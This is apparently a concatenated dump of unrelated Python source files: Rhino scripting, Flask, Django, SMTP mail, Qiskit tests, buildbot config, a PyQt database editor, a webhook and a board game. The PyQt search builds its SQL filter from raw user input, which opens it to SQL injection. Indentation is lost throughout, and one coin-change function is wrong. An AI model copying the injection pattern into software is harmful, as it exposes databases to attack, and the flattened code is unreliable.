import rhinoscriptsyntax as rs
def readOffset(filename= None):
fname = rs.OpenFileName("offset")
#fname = r""
_file = open(fname, 'r')
hdr = _file.next()
ncurves = int(_file.next())
_curves = []
print ncurves
for i in range(ncurves):
_Cur = []
npt = int(_file.next())
for j in range(npt):
line = _file.next()
lstLine = [float(v) for v in line.split()]
#print lstLine
_Cur.append(tuple(lstLine))
_curves.append(_Cur)
_file.close()
return _curves
def DrawSpline(dat, convfact= 36145):
#print dat
for l in dat:
#print(l)
cpt = [(x*convfact,y*convfact*-1,z*convfact+1400) for (x,y,z) in l]
#print cpt
print rs.AddCurve( cpt, degree=3)
if __name__ == "__main__":
DrawSpline(readOffset(r"D:\Workshop\MasterThesisDatAnal\XBLIMIT.plt"))
|
10,035 | 7db70dca8c268fed257c7535bf4e93dd2ad8ecdf | from flask.ext.wtf import Form
from wtforms import TextField, SelectMultipleField, widgets
from wtforms.validators import Required
from app.models.author import Author
class BookForm(Form):
name = TextField('name', validators = [Required()])
authors = SelectMultipleField('Authors',
choices=[(author.id, author.name) for author in Author.query.all()],
widget = widgets.ListWidget(prefix_label=False),
option_widget = widgets.CheckboxInput()
)
|
10,036 | ea06783f24feb22e5bd9b1ca617a2e3cdd7be678 | a,b,c,d = [int(e) for e in input().split()]
if a>b:
t = a
a = b
b = t
if d>=a:
if c>d:
c -= a
else:
c += a
b = a+c+d
else:
if c>a and a>=b:
d += a
if d>c:
b += 2
else:
b *= 2
print(a,b,c,d) |
10,037 | d046bf1e194f84c99aa915026dbcc76cadeda65b | from django.urls import path
from django.conf.urls import url, include
from . import views
urlpatterns = [
url('^$', views.index),
url(r'^usuarios/', views.UsuarioList),
url(r'^capacidades/', views.CapacidadList, name='capacidadList'),
url(r'^capacidad/(?P<id_capacidad>\d+)/$', views.CapacidadEdit, name='capacidadList'),
url(r'^', include('django.contrib.auth.urls')),
url(r'^', include('social_django.urls')),
] |
10,038 | 5fe529acbf6c385da7f799b932609dabd43eddd2 | import smtplib
import getpass
# creates SMTP session
s = smtplib.SMTP('smtp.gmail.com', 587)
# start TLS for security
s.starttls()
sender_email = input("Enter sender's address:")
#Use app specific password if two factor authentication is enabled
pswd = getpass.getpass('Password:')
s.login(sender_email, pswd)
sendTo = input("Who do you want to send the email?: ")
message = 'Subject: {}\n\n{}'.format(input("Enter subject:"), input("Compose Message:"))
try:
s.sendmail(sender_email, sendTo, message)
print("Sending email...")
except:
print("An error occured")
s.quit() |
10,039 | 2159846a044e5b10b95ddf1a4cf39e25757dbf58 | # This code is part of Qiskit.
#
# (C) Copyright IBM 2018, 2019, 2020, 2021.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
"""
QasmSimulator Integration Tests
"""
# pylint: disable=no-member
import copy
from qiskit import QuantumRegister, ClassicalRegister, QuantumCircuit
from qiskit.circuit.library import QuantumVolume, QFT
from qiskit.compiler import assemble, transpile
from qiskit.providers.aer import QasmSimulator
class QasmMPITests:
"""QasmSimulator MPI tests."""
ref_counts_qv10 = {'1011001001': 1, '1110101010': 1, '0101111001': 1, '0000110110': 1, '0110100101': 1, '0000000011': 1, '1110001001': 1, '0101101010': 1, '1100011001': 1, '1111001101': 1, '0011001000': 1, '1011011100': 1, '0010010101': 2, '1010001110': 1, '1001000110': 1, '0111010111': 1, '0001001101': 1, '0101111010': 1, '1110010001': 1, '1001100011': 1, '1011111111': 1, '1100011011': 1, '1001111000': 2, '1110110001': 1, '0100010111': 1, '1101100101': 2, '1101111101': 1, '1111100011': 1, '1000101101': 1, '1110100000': 2, '1001110110': 1, '1101110010': 1, '1001100110': 1, '1100001100': 2, '1001000000': 1, '1111010111': 1, '0110101101': 1, '0100110100': 1, '1110011100': 1, '0000101010': 1, '0111101001': 2, '1101000101': 1, '0101011000': 1, '1110100110': 1, '0111011110': 1, '0010010110': 1, '0101100011': 1, '1110000110': 1, '1110000101': 1, '0011111011': 1, '0001110011': 1, '0100101010': 1, '0100101011': 1, '1111011001': 1, '0001010100': 1, '1110100010': 1, '1001000100': 1, '0110010001': 1, '0101010011': 1, '0010000100': 1, '0000010000': 1, '1001011111': 1, '0001111111': 1, '0001110100': 1, '1100000011': 1, '0011101010': 1, '1101111000': 1, '1011100001': 1, '0101000110': 1, '0000001111': 1, '0100010010': 1, '0011100110': 1, '0100001011': 1, '0101101100': 1, '0001100101': 1, '1010111010': 1, '0000111111': 1, '0001001001': 1, '0011010011': 1, '0010101001': 1, '1110111010': 1, '1101001001': 1, '1100010011': 1, '1110001000': 1, '1000000110': 1, '1010111001': 1, '1111011110': 1, '1111111001': 1, '0001100110': 1, '0010001110': 1, '1011010101': 1, '0011101000': 1, '1110011110': 1, '1101111011': 1}
ref_counts_qft10 = {'1110011010': 1, '0101111010': 1, '1001000110': 1, '0110011101': 1, '0101100001': 1, '0110010100': 1, '1101110011': 1, '0101010000': 1, '0000000010': 1, '0011111111': 1, '1100101011': 1, '0011100000': 1, '1101000110': 1, '1110010000': 1, '1111011011': 1, '1110001010': 1, '0111100011': 1, '1011000100': 1, '1001100000': 1, '1000100001': 1, '0011000011': 1, '0011111000': 1, '1001110110': 1, '1100101001': 1, '1101100110': 1, '0000101001': 1, '0010011011': 2, '0000001101': 1, '0011010000': 1, '1111111000': 1, '0011100001': 1, '1101001011': 1, '1110001100': 1, '1111010001': 1, '1001100011': 2, '1000101100': 1, '1010110100': 1, '0000110000': 1, '0001100001': 2, '0101010100': 1, '1011101011': 1, '1001010000': 1, '1011100110': 1, '0111001101': 1, '0010000100': 1, '0010011000': 1, '1011011001': 1, '1011100001': 1, '0011100011': 1, '1100001100': 1, '1011011111': 1, '1101111010': 1, '0100000100': 1, '1100111111': 1, '1101101110': 1, '1000001010': 1, '0101001001': 1, '0001101100': 1, '1111000101': 1, '0100100110': 1, '1001001001': 1, '0000111001': 1, '0000001100': 1, '1110100011': 1, '1111001111': 1, '0001010001': 1, '0011101111': 1, '1110000100': 1, '0001000110': 1, '1110000110': 2, '0101100100': 1, '0010101000': 1, '0111000001': 1, '1111010110': 1, '0001101111': 1, '1000101011': 1, '1100001110': 1, '0100010100': 1, '0100111010': 1, '1110101110': 1, '0010001101': 1, '1011011000': 1, '1010111011': 1, '0111010101': 2, '0100011110': 1, '0100010011': 1, '1101010111': 1, '1010100111': 1, '0100111110': 1, '1010100101': 1, '0001001001': 1, '1101101001': 1, '1011101010': 1, '1010111110': 1, '0001111101': 1}
SIMULATOR = QasmSimulator()
SUPPORTED_QASM_METHODS = [
'statevector', 'statevector_gpu', 'statevector_thrust'
]
MPI_OPTIONS = {
"blocking_enable": True,
"blocking_qubits": 6,
"blocking_ignore_diagonal": True,
"max_parallel_threads": 1
}
def test_MPI_QuantumVolume(self):
"""Test MPI with quantum volume"""
shots = 100
num_qubits = 10
depth = 10
backend_options = self.BACKEND_OPTS.copy()
for opt, val in self.MPI_OPTIONS.items():
backend_options[opt] = val
circuit = transpile(QuantumVolume(num_qubits, depth, seed=0),
backend=self.SIMULATOR,
optimization_level=0)
circuit.measure_all()
qobj = assemble(circuit, shots=shots, memory=True)
result = self.SIMULATOR.run(qobj, **backend_options).result()
counts = result.get_counts(circuit)
# Comparing counts with pre-computed counts
self.assertEqual(counts, self.ref_counts_qv10)
def test_MPI_QFT(self):
"""Test MPI with QFT"""
shots = 100
num_qubits = 10
backend_options = self.BACKEND_OPTS.copy()
for opt, val in self.MPI_OPTIONS.items():
backend_options[opt] = val
circuit = transpile(QFT(num_qubits),
backend=self.SIMULATOR,
optimization_level=0)
circuit.measure_all()
qobj = assemble(circuit, shots=shots, memory=True)
result = self.SIMULATOR.run(qobj, **backend_options).result()
counts = result.get_counts(circuit)
#comparing counts with pre-computed counts
self.assertEqual(counts, self.ref_counts_qft10)
|
10,040 | f37cb12cbe8d4929cb7cfc7788c79cf9a1db7fab | def coins_chain_recursive(n):
coins = [25,10,5,1]
def make_chang(amount, index):
if index >= len(coins) - 1:
return 1
denom_amount = coins[index]
ways = 0
i = 0
while denom_amount * i <= amount:
used = amount - denom_amount * i
ways += make_chang(used, index + 1)
i += 1
return ways
return make_chang(n, 0)
def coins_chain_top_down(n):
result = [0] * (n + 1)
coins = [25,10,5,1]
total = 0
for coin in coins:
for j in range(1, (n+1)):
if j == coin:
result[j] = 1 + result[j - coin]
if j == n:
total += 1
elif j > coin:
result[j] = min(result[j], result[j-1] + result[coin])
if result[j] == n:
total += 1
else:
result[j] = result[j-1]
return total
def test_coins_chain():
result = coins_chain_recursive(100)
result2 = coins_chain_top_down(100)
print(result, end=' ')
print(result2)
assert(result == result2)
test_coins_chain() |
10,041 | e554c829612aa906d62c64c27fd40ed1f25b8aae | # 2750 - saida 4
print('-'*39)
print('| decimal | octal | Hexadecimal |')
print('-'*39)
for i in range(16):
print('| {:2d} | {:2o} | {:X} |'.format(i, i, i))
print('-'*39)
|
10,042 | 89628940a15eb55cd56e6cad3046bec967b00ba3 | import numpy as np
class ExtractedFeature:
def __init__(self, raw_data, raw_feature_data, persistence_diagram_1d, binned_diagram_1d):
self.features = {}
self.features['raw_data'] = raw_data
self.features['raw_feature_data'] = raw_feature_data
self.features['pd_1d'] = persistence_diagram_1d
self.features['binned_pd_1d'] = np.array(binned_diagram_1d)
#print persistence_diagram_1d == []
self.features['pd_top_bars'] = np.array(sorted(persistence_diagram_1d[:,1] - persistence_diagram_1d[:,0], reverse=True)[0:10])
|
10,043 | 0bf2068c7ad7e0c240f95e0fcc5a0322a32805e6 | from wexapi.models.pair_info import PairInfo
from wexapi.models.ticker import Ticker
from wexapi.models.trade import Trade
from wexapi.models.account_info import AccountInfo
from wexapi.models.trans_history import TransHistory
from wexapi.models.trade_history import TradeHistory
from wexapi.models.order import Order
from wexapi.models.trade_result import TradeResult
from wexapi.models.cancel_order_result import CancelOrderResult
from wexapi.models.order_info import OrderInfo
|
10,044 | 853ecb85696b580d415c673c4ef5485128f5ae8d | SLAVES = {
'fedora': dict([("talos-r3-fed-%03i" % x, {}) for x in range(3,10) + range(11,18) + range(19,77)]),
'fedora64' : dict([("talos-r3-fed64-%03i" % x, {}) for x in range (3,10) + range(11,35) + range(36,72)]),
'xp': dict([("talos-r3-xp-%03i" % x, {}) for x in range(4,10) + range(11,76) \
if x not in [45, 59]]), # bug 661377, bug 753357
'win7': dict([("talos-r3-w7-%03i" % x, {}) for x in range(4,10) + range(11,80)]),
'w764': dict([("t-r3-w764-%03i" % x, {}) for x in range(1,6)]),
'leopard': dict([("talos-r3-leopard-%03i" % x, {}) for x in range(3,10) + range(11,67) \
if x not in [7]]), # bug 655437
'snowleopard': dict([("talos-r4-snow-%03i" % x, {}) for x in range(4,10) + range(11,81) + [82,84]]),
'lion': dict([("talos-r4-lion-%03i" % x, {}) for x in range(4,10) + range(11,83) + [84]]),
'tegra_android': dict([('tegra-%03i' % x, {'http_port': '30%03i' % x, 'ssl_port': '31%03i' % x}) \
for x in range(31,289) \
if x not in range(122,129) + [30,31,33,34,43,44,49,65,69,77,131,137,143,147,\
153,156,161,175,176,180,184,185,186,193,197,198,202,203,204,205,222,224,\
226,239,241,268,275,289]]), # decommissioned tegras
}
SLAVES['leopard-o'] = SLAVES['leopard']
SLAVES['tegra_android-xul'] = SLAVES['tegra_android']
SLAVES['tegra_android-o'] = SLAVES['tegra_android']
TRY_SLAVES = {}
GRAPH_CONFIG = ['--resultsServer', 'graphs.mozilla.org',
'--resultsLink', '/server/collect.cgi']
GLOBAL_VARS = {
'disable_tinderbox_mail': True,
'build_tools_repo_path': 'build/tools',
'stage_server': 'stage.mozilla.org',
'stage_username': 'ffxbld',
'stage_ssh_key': 'ffxbld_dsa',
}
# Local branch overrides
BRANCHES = {
'mozilla-central': {
'tinderbox_tree': 'Firefox',
'mobile_tinderbox_tree': 'Firefox',
},
'mozilla-release': {
'tinderbox_tree': 'Mozilla-Release',
'mobile_tinderbox_tree': 'Mozilla-Release',
},
'mozilla-esr10': {
'tinderbox_tree': 'Mozilla-Esr10',
'mobile_tinderbox_tree': 'Mozilla-Esr10',
},
'mozilla-beta': {
'tinderbox_tree': 'Mozilla-Beta',
'mobile_tinderbox_tree': 'Mozilla-Beta',
},
'mozilla-aurora': {
'tinderbox_tree': 'Mozilla-Aurora',
'mobile_tinderbox_tree': 'Mozilla-Aurora',
},
'places': {
'tinderbox_tree': 'Places',
'mobile_tinderbox_tree': 'Places',
},
'electrolysis': {
'tinderbox_tree': 'Electrolysis',
'mobile_tinderbox_tree': 'Electrolysis',
},
'addontester': {
'tinderbox_tree': 'AddonTester',
'mobile_tinderbox_tree': 'AddonTester',
},
'addonbaselinetester': {
'tinderbox_tree': 'AddonTester',
'mobile_tinderbox_tree': 'AddonTester',
},
'try': {
'tinderbox_tree': 'Try',
'mobile_tinderbox_tree': 'Try',
'enable_mail_notifier': True,
'notify_real_author': True,
'enable_merging': False,
'slave_key': 'try_slaves',
'package_url': 'http://ftp.mozilla.org/pub/mozilla.org/firefox/try-builds',
'package_dir': '%(who)s-%(got_revision)s',
'stage_username': 'trybld',
'stage_ssh_key': 'trybld_dsa',
},
'jaegermonkey': {
'tinderbox_tree': 'Jaegermonkey',
'mobile_tinderbox_tree': 'Jaegermonkey',
},
}
PLATFORM_VARS = {
}
PROJECTS = {
'jetpack': {
'scripts_repo': 'http://hg.mozilla.org/build/tools',
'tinderbox_tree': 'Jetpack',
},
}
|
10,045 | 07ebcaac38c35c583b53554fe4b300b62224e13b | # -*- coding:utf-8 -*-
# project: PrimeCostOrderManagement
# @File : DataMaintenance.py
# @Time : 2021-07-06 08:58
# @Author: LongYuan
# @FUNC : 基础数据维护界面
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QIntValidator
from PyQt5.QtSql import QSqlDatabase, QSqlTableModel
from PyQt5.QtWidgets import QWidget, QHeaderView, QMessageBox
from CODE.OutExcel_new import OrderListExportToFile
from CODE.mysqlCode_new import ObjectSearch
from UI.DataMaintenance import Ui_Form as uiDataMaintenance
class DataMaintenanceWindow(QWidget, uiDataMaintenance):
def __init__(self,usertype=None):
super(DataMaintenanceWindow, self).__init__()
self.setupUi(self)
if usertype == 0: # 管理员账号
self.comboBoxItem = ['客户表', '材料表', '工序表', '包装表','产品参数_产品结构表','产品参数_长度表','产品参数_轴芯外径表',
'产品参数_橡胶外径表','产品参数_公差表','产品参数_振幅表','产品参数_压入方式表','产品参数_其它分类表']
elif usertype >= 10 and usertype < 20: # 资材账号
self.comboBoxItem = ['客户表', '材料表', '工序表', '包装表']
elif usertype >= 20 and usertype < 30: # 技术部账号
self.comboBoxItem = ['产品参数_产品结构表','产品参数_长度表','产品参数_轴芯外径表','产品参数_橡胶外径表',
'产品参数_公差表','产品参数_振幅表','产品参数_压入方式表','产品参数_其它分类表']
else:
self.comboBoxItem = []
self.initialization_widget() # 初始化窗口控件
## 槽函数与信号的绑定
self.comboBox.currentIndexChanged.connect(self.show_table) #“基础数据表”下拉框
self.pushButton_add.clicked.connect(self.pb_add) # "增加一行“按钮
self.pushButton_del.clicked.connect(self.pb_del) # "删除一行”按钮
self.pushButton_search.clicked.connect(self.pb_search_fun) # “搜索”按钮
self.pushButton_jump.clicked.connect(self.pb_jump) # "跳转“按钮
self.lineEdit_jump.returnPressed.connect(self.pb_jump) # 定位输入框 回车后 自动滚动条自动跳转到所输入行号
self.lineEdit_search.returnPressed.connect(self.pb_search_fun) # 搜索输入框 回车 自动搜索
# 初始化窗口控件
def initialization_widget(self):
'''
初始化窗口控件
:return: None
'''
## 初始化【基础数据表】下拉框
# comboBoxItem1 = ['客户表', '材料表', '工序表', '包装表','产品参数_产品结构表','产品参数_长度表','产品参数_轴芯外径表',
# '产品参数_橡胶外径表','产品参数_公差表','产品参数_振幅表','产品参数_压入方式表','产品参数_其它分类表']
self.comboBox.clear()
self.comboBox.addItems(self.comboBoxItem)
self.comboBox.setCurrentIndex(-1)
self.label.hide() # 隐藏label
self.comboBox.hide() # 隐藏下拉框
## 默认情况下,按钮【搜索、增加一行、删除一行、定位到】、搜索输入框、定位输入框 不可用
self.pushButton_search.setEnabled(False)
self.pushButton_add.setEnabled(False)
self.pushButton_del.setEnabled(False)
self.lineEdit_search.setEnabled(False)
self.lineEdit_jump.setEnabled(False)
self.pushButton_jump.setEnabled(False)
## 设置 定位到 输入框只能输入数字
self.lineEdit_jump.setValidator(QIntValidator(0, 65535))
# TableView表格中显示对应数据表内容
def show_tableView(self,tablename):
"""
TableView表格中显示对应数据表内容
:param tablename: 数据库中对应的表名称
:return:
"""
# 根据输入的参数设置下拉框的值
self.comboBox.setCurrentText(tablename)
# 0 显示内容,按钮【搜索、增加一行、删除一行、定位到】、搜索输入框、定位输入框 可用
self.pushButton_search.setEnabled(True)
self.pushButton_add.setEnabled(True)
self.pushButton_del.setEnabled(True)
self.lineEdit_search.setEnabled(True)
self.lineEdit_jump.setEnabled(True)
self.pushButton_jump.setEnabled(True)
# 获取表的字段名称
sql_db = ObjectSearch()
current_table_field_name = sql_db.get_fieldName(tablename) # 获取当前表的字段名称
# print(f"当前表【{current_table_name}】所有字段名称:\n\t{current_table_field_name}")
# 连接数据库
db = QSqlDatabase.addDatabase('QODBC') # 使用ODBC方式连接mysql数据库
db.setDatabaseName('mysql_odbc') # 系统ODBC中连接名称
db.open() # 打开连接
# 设置tableview表格填满窗口
self.tableView.horizontalHeader().setStretchLastSection(False) # 水平方向标签拓展剩下的窗口部分,填满表格
self.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) # 水平方向,表格大小拓展到适当的尺寸
# self.tableView.hideColumn(0) # 隐藏ID列
# 1、新建QSqlTableModel实例
self.base_QSqlTableModel = QSqlTableModel()
self.base_QSqlTableModel.setTable(tablename) # 设置查询表的名称为下拉框选择的表
self.base_QSqlTableModel.setEditStrategy(QSqlTableModel.OnFieldChange) # 设置编辑策略为一改动马上提交数据库
self.base_QSqlTableModel.select() # 获取表的所有数据
# 2、设置表头显示内容为数据库表的字段名称
for x in range(len(current_table_field_name)):
self.base_QSqlTableModel.setHeaderData(x,Qt.Horizontal,current_table_field_name[x])
# 设置下面状态行,显示表的总行数
while(self.base_QSqlTableModel.canFetchMore()): # 查询更多行,否则只会获取256行
self.base_QSqlTableModel.fetchMore()
self.label_state_info.setText(f"【{tablename}】共有【{self.base_QSqlTableModel.rowCount()}】条记录")
self.tableView.setModel(self.base_QSqlTableModel) # 设置tableview的数据模型
# TableView表格按下拉框显示内容
def show_table(self, index):
"""
在tableView表格控件中显示,下拉框选择的表的内容
:param index: QComboBox下拉框当前序号
:return:
"""
# print(f"当前值是:{self.comboBox.itemText(index)}")
current_table_name = self.comboBox.itemText(index) # 下拉框当前选择的表名称
# 0 显示内容,按钮【搜索、增加一行、删除一行、定位到】、搜索输入框、定位输入框 可用
self.pushButton_search.setEnabled(True)
self.pushButton_add.setEnabled(True)
self.pushButton_del.setEnabled(True)
self.lineEdit_search.setEnabled(True)
self.lineEdit_jump.setEnabled(True)
self.pushButton_jump.setEnabled(True)
# 获取表的字段名称
sql_db = ObjectSearch()
current_table_field_name = sql_db.get_fieldName(current_table_name) # 获取当前表的字段名称
# print(f"当前表【{current_table_name}】所有字段名称:\n\t{current_table_field_name}")
# 连接数据库
db = QSqlDatabase.addDatabase('QODBC') # 使用ODBC方式连接mysql数据库
db.setDatabaseName('mysql_odbc') # 系统ODBC中连接名称
db.open() # 打开连接
# 设置tableview表格填满窗口
self.tableView.horizontalHeader().setStretchLastSection(False) # 水平方向标签拓展剩下的窗口部分,填满表格
self.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) # 水平方向,表格大小拓展到适当的尺寸
# self.tableView.hideColumn(0) # 隐藏ID列
# 1、新建QSqlTableModel实例
self.base_QSqlTableModel = QSqlTableModel()
self.base_QSqlTableModel.setTable(current_table_name) # 设置查询表的名称为下拉框选择的表
self.base_QSqlTableModel.setEditStrategy(QSqlTableModel.OnFieldChange) # 设置编辑策略为一改动马上提交数据库
self.base_QSqlTableModel.select() # 获取表的所有数据
# 2、设置表头显示内容为数据库表的字段名称
for x in range(len(current_table_field_name)):
self.base_QSqlTableModel.setHeaderData(x,Qt.Horizontal,current_table_field_name[x])
# 设置下面状态行,显示表的总行数
while(self.base_QSqlTableModel.canFetchMore()): # 查询更多行,否则只会获取256行
self.base_QSqlTableModel.fetchMore()
self.label_state_info.setText(f"【{current_table_name}】共有【{self.base_QSqlTableModel.rowCount()}】条记录")
self.tableView.setModel(self.base_QSqlTableModel) # 设置tableview的数据模型
# 增加一行 按钮函数
def pb_add(self):
if self.base_QSqlTableModel:
self.base_QSqlTableModel.insertRows(self.base_QSqlTableModel.rowCount(),1)
self.tableView.verticalScrollBar().setSliderPosition(self.base_QSqlTableModel.rowCount())
else:
return
# 删除一行 按钮函数
def pb_del(self):
if self.base_QSqlTableModel:
self.base_QSqlTableModel.removeRow(self.tableView.currentIndex().row())
self.base_QSqlTableModel.select()
else:
return
# 搜索 按钮函数
def pb_search_fun(self):
query_string = self.lineEdit_search.text() # 搜索内容
# temp_field = ''
if self.comboBox.currentText() == "客户表":
temp_field = "客户名称"
elif self.comboBox.currentText() == "包装表":
temp_field = "名称"
elif self.comboBox.currentText() == "材料表":
temp_field = "名称"
elif self.comboBox.currentText() == "工序表":
temp_field = "工序名称"
elif self.comboBox.currentText() == "产品参数_产品结构表":
temp_field = "名称"
elif self.comboBox.currentText() == "产品参数_公差表":
temp_field = "公差值"
elif self.comboBox.currentText() == "产品参数_其它分类表":
temp_field = "分类名称"
elif self.comboBox.currentText() == "产品参数_橡胶外径表":
temp_field = "外径值"
elif self.comboBox.currentText() == "产品参数_压入方式表":
temp_field = "压入方式"
elif self.comboBox.currentText() == "产品参数_长度表":
temp_field = "长度值"
elif self.comboBox.currentText() == "产品参数_振幅表":
temp_field = "振幅值"
elif self.comboBox.currentText() == "产品参数_轴芯外径表":
temp_field = "外径值"
if query_string == '':
self.base_QSqlTableModel.setFilter(f"`{temp_field}` <> ''") # 必须设置查询条件为不等于空,才能查询。原因不清楚???
self.base_QSqlTableModel.select()
else:
self.base_QSqlTableModel.setFilter(f"`{temp_field}` like '%{query_string}%'")
self.base_QSqlTableModel.select()
while(self.base_QSqlTableModel.canFetchMore()):
self.base_QSqlTableModel.fetchMore()
self.label_state_info.setText(f"当前查询结果共有【{self.base_QSqlTableModel.rowCount()}】条记录")
# 定位到 按钮函数
def pb_jump(self):
if self.lineEdit_jump.text() == '':
# QMessageBox.warning(self, "警告", "行号不能为空,请重新输入!")
# return
current_row = 0
else:
current_row = int(self.lineEdit_jump.text()) - 1 # 行号
# if current_row > self.base_QSqlTableModel.rowCount():
# QMessageBox.warning(self, "警告", "输入的行号不能大于最大行号,请重新输入!")
self.tableView.verticalScrollBar().setSliderPosition(current_row)
self.tableView.selectRow(current_row)
# 导出查询的表信息到excel文件
def tableExportToFile(self):
outFile = OrderListExportToFile()
# 获取 查询的结果 并保存到列表
query_result_list = []
max_row = self.tableView.model().rowCount() # 总行数
max_column = self.tableView.model().columnCount() # 总列数
# 获取tableview标题
temp_header_title = []
for x in range(max_column):
temp_header_title.append(self.tableView.model().headerData(x,Qt.Horizontal, Qt.DisplayRole))
query_result_list.append(temp_header_title) # 追加标题
for x in range(max_row):
temp_list = []
for y in range(max_column):
# 访问qtableview中的表格
index = self.tableView.model().index(x,y)
temp_list.append(self.tableView.model().data(index))
query_result_list.append(temp_list)
print(f"查询结果:{len(query_result_list)}")
outFile.writeExcel(query_result_list) # 写入EXCEL文件
QMessageBox.information(self, "完成", f"【{self.comboBox.currentText()}】表已经成功导出!共导出{len(query_result_list)-1}条数据!", QMessageBox.Ok) |
10,046 | 524f40afd76429837b97c35a25014acaa13ad031 | #!/usr/bin/python
# -*- coding: utf-8 -*-
import json
from common.util.logger import log
class Assertion():
"""
判断是否为None
"""
@classmethod
def is_not_none(cls, rsp):
assert rsp, "数据为None"
@classmethod
def is_ok(cls, rsp):
cls.is_not_none(rsp)
data = json.loads(rsp)
assert data["code"] == 200
"""
基础断言
"""
@classmethod
def is_success(cls, rsp):
cls.is_not_none(rsp)
data = json.loads(rsp)
assert data["success"] and data["executed"], "请求执行失败"
"""
获取App登录token
"""
@classmethod
def get_app_login_token(cls, rsp):
cls.is_success(rsp)
user_login_token = json.loads(rsp)["accessToken"]
log.info("user_login_token = {}".format(user_login_token))
return user_login_token
if __name__ == "__main__":
Assertion.is_not_none(3)
|
10,047 | 78623057cfd1e6b9e2eedca6af8919f24363456f | # https://programmers.co.kr/learn/courses/30/lessons/43105
def solution(triangle):
answer = 0
t = calc_sum_triangle(triangle)
answer = max(t[-1])
return answer
def calc_sum_triangle(triangle):
for level in range(1, len(triangle)):
for idx in range(len(triangle[level])):
up_left = idx - 1
up_right = idx
if up_left < 0:
triangle[level][idx] += triangle[level-1][up_right]
elif up_right >= len(triangle[level-1]):
triangle[level][idx] += triangle[level-1][up_left]
else:
max_val = max(triangle[level-1][up_right], triangle[level-1][up_left])
triangle[level][idx] +=max_val
return triangle |
10,048 | 0459231d69836946b01928f84ebd1505211388f9 | import os
import json
import re
from flask import Flask, request, jsonify, make_response
from google.cloud import datastore
try:
os.chdir(os.path.join(os.getcwd(), 'scripts'))
print(os.getcwd())
except:
pass
# get_ipython().system('pip install flask')
app = Flask(__name__)
@app.route('/webhook/', methods=['POST'])
def handle():
req = request.get_json(silent=True, force=True)
print('Request:')
print(json.dumps(req, indent=4))
if req.get('queryResult').get('action') != 'lookup':
return {}
topic = req.get('queryResult').get('parameters').get('topic')
topic = re.sub(r'[^\w\s]', '', topic)
print(topic)
rsp = getResponse(topic)
rsp = json.dumps(rsp, indent=4)
print(rsp)
r = make_response(rsp)
r.headers['Content-Type'] = 'application/json'
return r
def getResponse(topic):
client = datastore.Client()
query = client.query(kind='Synonym')
key = client.key('Synonym', topic)
query.key_filter(key, '=')
results = list(query.fetch())
if len(results) == 0:
return buildReply('I can\'t find any synonyms for that phrase')
print(results[0]['synonym'])
query = client.query(kind='Topic')
key = client.key('Topic', results[0]['synonym'])
query.key_filter(key, '=')
results = list(query.fetch())
print(results[0]['action_text'])
return buildReply(results[0]['action_text'])
def buildReply(info):
return {
'fulfillmentText': info,
}
if __name__ == '__main__':
app.run(host='0.0.0.0')
|
10,049 | c40f5085d732e88cf8e19ef65f694962819e9dcb | # Source: https:// www.guru99.com/reading-and-writing-files-in-python.html'
# Data to be outputted
data = ['first','second','third','fourth','fifth','sixth','seventh']
# Get filename, can't be blank / invalid
# assume vaild data for now.
filename = input("Enter a Filename (leave off the extension): ")
# add .txt suffix!
filename = filename + ".txt"
# create file to hold data
f = open(filename, "w+")
# add new line at end of each item\
for item in data:
f.write(item + "\n")
# close file
f.close() |
10,050 | a3944df20717cd00575cba77206d4bcc79619f3c | import abc
import asyncio
import random
from cards import ActionCard
from constants import URBANIZE, BUILD_UP, PLAN, RESOURCE, TILE, LEFT, DOWN, RIGHT, UP, VICTORY_POINT, COLORS, RESET
from pieces import Space, Marker, Tile
class Player(abc.ABC):
def __init__(self, name, color):
self.name = name
self.color = color
self.hand = []
self.cards = []
self.tiles = []
self.board = None
self.resources = 0
self.victory_points = 0
self.last_card = None
self.last_move = None
@abc.abstractmethod
async def plan_action(self):
pass
def action_executed(self, changes):
for card in self.cards:
if isinstance(card, ActionCard):
changes.append(card.benefit(self.last_move))
self._apply_changes(changes)
if self.last_move == BUILD_UP:
self.cards.append(self.last_card)
def _apply_changes(self, changes):
for amount, target in changes:
if not amount:
continue
if target == VICTORY_POINT:
self.victory_points += amount
elif target == RESOURCE:
self.resources += amount
elif target == TILE:
for _ in range(amount):
tile = self.game_controller.draw_tile()
if tile:
self.give_tile(tile)
def give_tile(self, tile):
tile.owner = self
self.tiles.append(tile)
def pay_for_move(self, move, card, extra):
self.last_card = card
self.last_move = move
self.hand.remove(card)
if move != PLAN:
self.tiles.remove(extra['new_tile'])
if move == URBANIZE:
self.resources -= 1
if move == BUILD_UP:
self.resources -= self.board.get_tile(card.target)[0].resources + 1
def __eq__(self, other):
return self.name == other.name
def __hash__(self):
return hash(self.name)
def __lt__(self, other):
return self.name < other.name
def __str__(self):
return "{}_{}_{}:\ntiles: {}\nresources: {}\nvictory points: {}\nhand: {}\ncards: {}".format(
COLORS[self.color],
self.name,
COLORS[RESET],
self.tiles,
self.resources,
self.victory_points,
self.hand,
self.cards
)
def __repr__(self):
return self.__str__()
def toJSON(self):
return {
'name': self.name,
'color': self.color,
'hand': self.hand,
'cards': self.cards,
'tiles': self.tiles,
'resources': self.resources,
'victory_points': self.victory_points,
'is_web': isinstance(self, WebPlayer)
}
class RandomPlayer(Player):
possible_moves = [PLAN, BUILD_UP, URBANIZE]
async def plan_action(self):
possible_moves = self.possible_moves[:]
random.shuffle(self.hand)
random.shuffle(possible_moves)
random.shuffle(self.tiles)
if not self.tiles:
possible_moves = [PLAN]
for move in possible_moves:
for card in self.hand:
if move == PLAN:
extra = self._extra_for_move(move, card, None)
if extra:
return self, move, card, extra
else:
for tile in self.tiles:
extra = self._extra_for_move(move, card, tile)
if extra:
return self, move, card, extra
def _extra_for_move(self, move, card, tile):
if move == PLAN:
return {
'target_tile': card.target,
'wish': random.choice((RESOURCE, TILE))
}
if move == BUILD_UP:
target_tile, _, _ = self.board.get_tile(card.target)
if isinstance(target_tile, Marker) or target_tile.resources >= self.resources:
return None
return {
'target_tile': card.target,
'new_tile': tile
}
if move == URBANIZE:
if self.resources < 1:
return None
_, idx_x, idx_y = self.board.get_tile(card.target)
neighbors = list(self.board.get_neighbors(idx_x, idx_y))
